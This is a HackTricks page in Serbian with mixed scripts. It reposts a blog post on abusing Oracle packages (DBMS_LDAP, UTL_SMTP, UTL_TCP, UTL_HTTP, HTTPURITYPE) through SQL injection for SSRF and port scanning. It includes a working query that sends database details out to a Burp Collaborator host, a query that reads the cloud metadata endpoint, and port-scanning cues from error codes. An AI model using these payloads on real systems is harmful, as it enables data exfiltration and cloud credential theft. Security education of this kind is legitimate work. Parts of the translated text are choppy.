Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**Poslužite se ovim postom kao kopijom iz wayback mašine obrisanog posta sa [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
Korišćenje Oracle-a za slanje Out of Band HTTP i DNS zahteva je dobro dokumentovano, ali kao sredstvo za ekfiltraciju SQL podataka u injekcijama. Uvek možemo modifikovati ove tehnike/funkcije da bismo uradili druge SSRF/XSPA.
Instalacija Oracle-a može biti zaista bolna, posebno ako želite da postavite brzu instancu da isprobate komande. Moj prijatelj i kolega iz [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), ukazao mi je na [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) koji mi je omogućio da postavim instancu na t2.large AWS Ubuntu mašini i Docker-u.
Pokrenuo sam docker komandu sa `--network="host"` flag-om kako bih mogao da imitiram Oracle kao nativnu instalaciju sa punim pristupom mreži, tokom ovog blog posta.
#### Oracle пакети који подржавају спецификацију URL-а или Име хоста/Број порта <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Да бих пронашао било које пакете и функције које подржавају спецификацију хоста и порта, извршио сам Google претрагу на [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Конкретно,
Ova gruba pretraga očigledno preskočuje pakete kao što je `DBMS_LDAP` (koji omogućava prosleđivanje imena hosta i broja porta) jer [stranica sa dokumentacijom](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) jednostavno upućuje na [drugu lokaciju](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Stoga, može postojati još Oracle paketa koji se mogu zloupotrebiti za slanje izlaznih zahteva, a koje sam možda propustio.
Paket `DBMS_LDAP` omogućava pristup podacima sa LDAP servera. Funkcija `init()` inicijalizuje sesiju sa LDAP serverom i uzima ime hosta i broj porta kao argument.
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Paket `UTL_SMTP` je dizajniran za slanje e-mailova preko SMTP-a. Primer dat na [Oracle dokumentacionom sajtu pokazuje kako možete koristiti ovaj paket za slanje e-maila](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Za nas, međutim, zanimljivo je to što omogućava da se navedu host i specifikacija porta.
A `ORA-29276: transfer timeout` pokazuje da je port otvoren, ali nije uspostavljena SMTP veza, dok `ORA-29278: SMTP transient error: 421 Service not available` pokazuje da je port zatvoren.
Paket `UTL_TCP` i njegove procedure i funkcije omogućavaju [TCP/IP baziranu komunikaciju sa servisima](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190). Ako je programiran za određeni servis, ovaj paket može lako postati način za pristup mreži ili izvršiti potpune Server Side Requests, jer se svi aspekti TCP/IP veze mogu kontrolisati.
Primer [na Oracle dokumentacionom sajtu pokazuje kako možete koristiti ovaj paket za uspostavljanje sirove TCP veze za preuzimanje web stranice](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190). Možemo ga malo pojednostaviti i koristiti za slanje zahteva na instancu metapodataka, na primer, ili na proizvoljni TCP/IP servis.
Zanimljivo je da, zbog sposobnosti kreiranja sirovih TCP zahteva, ovaj paket se takođe može koristiti za upit usluge meta-podataka Instance svih provajdera u oblaku, jer se tip metode i dodatni zaglavlja mogu proslediti unutar TCP zahteva.
Možda je najčešća i najšire dokumentovana tehnika u svakom tutorijalu o Out of Band Oracle SQL Injection [`UTL_HTTP` paket](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ovaj paket je definisan u dokumentaciji kao - `UTL_HTTP paket omogućava Hypertext Transfer Protocol (HTTP) pozive iz SQL i PL/SQL. Možete ga koristiti za pristup podacima na Internetu preko HTTP-a.`
`ORA-12541: TNS:no listener` ili `TNS:operation timed out` je znak da je TCP port zatvoren, dok je `ORA-29263: HTTP protocol error` ili podaci znak da je port otvoren.
Drugi paket koji sam koristio u prošlosti sa različitim uspehom je [`GETCLOB()` metoda `HTTPURITYPE` Oracle apstraktnog tipa](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) koja vam omogućava interakciju sa URL-om i pruža podršku za HTTP protokol. `GETCLOB()` metoda se koristi za preuzimanje GET odgovora sa URL-a kao [CLOB tip podataka.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.